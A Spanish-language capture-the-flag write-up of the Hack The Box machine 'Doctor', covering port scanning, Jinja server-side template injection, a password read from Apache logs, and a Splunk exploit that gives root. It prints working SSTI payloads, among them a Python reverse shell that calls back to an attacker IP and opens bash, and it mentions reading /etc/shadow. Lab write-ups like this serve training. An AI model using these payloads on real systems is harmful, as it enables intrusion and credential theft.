Doctor expone una aplicacion web en donde encontramos y explotamos una vulnerabilidad de Server Side Template Injection (SSTI) en Python lo que nos permitio obtener acceso. Los Logs de Apache nos permitieron leer la contraseña del siguiente usuario. Explotamos una vulnerabilidad en Splunk lo que nos permitio obtener acceso privilegiado.
Informacion de la Maquina
Nombre | Doctor |
---|---|
OS | Linux |
Puntos | 20 |
Dificultad | Facil |
IP | 10.10.10.209 |
Maker | |
|
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto ssh (22), http (80) y el puerto ssl-https(?) (8089) abiertos.
|
|
HTTP - PUERTO 80
Encontramos una pagina web en el puerto 80, en esta pagina vemos tambien un dominio doctors.htb
el cual agregamos junto al que ya teniamos.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos, pero al parecer es una pagina estatica.
|
|
HTTPS - PUERTO 8089
En este puerto encontramos una “pagina” donde vemos Splunk en su version web: Splunk build 8.0.5. Tambien un post donde describe una vulnerabilidad en este “servicio” que permite ejecutar comandos, utilizamos el exploit remoto con las credenciales por default pero no logramos obtener ninguna respuesta, por lo que es necesario obtener credenciales.
DOCTORS
Con el dominio nuevo, encontramos un login, donde registramos un usuario y en la pagina inicial vemos una opcion de escribir mensajes que solo presentan contenido y titulo en la pagina principal.
Utilizando BurpSuite dentro de las respuestas pudimos encontrar que es una aplicacion escrita en Python
, además ejecutamos Gobuster para buscar diferentes rutas dentro de la aplicacion. Vemos /archive
una direccion que no aparece relacionada en ninguna opcion del menu de la aplicacion.
|
|
La ultima direccion mencionada no tiene ningun tipo de contenido pero al verificar el codigo fuente vemos XML donde se ve reflejado el titulo del Mensaje que creamos, por lo que quizá sea vulnerable a XXE Injection
en la etiqueta <title>PAYLOAD</title>
.
|
|
Intentamos con XXE con diferentes “payloads” en el titulo pero no retornaba ningun valor. Luego de explorar algunas vulnerabilidades “parecidas” encontramos Server Side Template Injection - Jinja
en Python, utilizando los diferentes Payloads iniciales, vemos valores retornados.
|
|
Tambien logramos obtener un poco de informacion como la direccion de la base de datos, la direccion de la aplicacion, su codigo fuente y el contenido de la base de datos, ejecutando algunos comandos con un payload para ejecucion de estos.
#configuracion
{{config.items()}}
#Ejecucion de comandos
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
|
|
|
|
|
|
En la base de datos encontramos el Post donde vemos el contenido de nuestro payload para realizar la lectura del archivo de base de datos, tambien vemos nuestro usuario con la informacion de registro y autenticacion, tambien el usuario admin.
|
|
WEB - USER
Ejecutamos una shell inversa con la cual logramos obtener una shell con el usuario web
.
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.224\",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
Realizamos una enumeracion en la maquina, encontramos algunos archivos del usuario root los cuales seguramente se ejecutan cada cierto tiempo para restaurar los archivos de la aplicacion web.
|
|
SHAUN - USER
Realizamos una enumeracion y encontramos una contraseña en los logs de apache.
web@doctor:/var/log/apache2$ grep password * |grep -v gobuster
grep password * |grep -v gobuster
backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
web@doctor:/var/log/apache2$
Utilizamos la contraseña encontrada con el usuario shaun
, logramos obtener una shell y nuestra flag user.txt
.
PRIVILEGE ESCALATION
Anteriormente encontramos en el puerto 8089 a splunk pero necesitabamos credenciales para poder ejecutar comandos o realizar lectura de archivos, con las credenciales de Shaun ejecutamos el exploit remoto lo que permitio realizar la lectura del archivo /etc/shadow
.
|
|
|
|
Ejecutamos una shell inversa con lo que logramos obtener shell con usuario root y la flag root.txt
.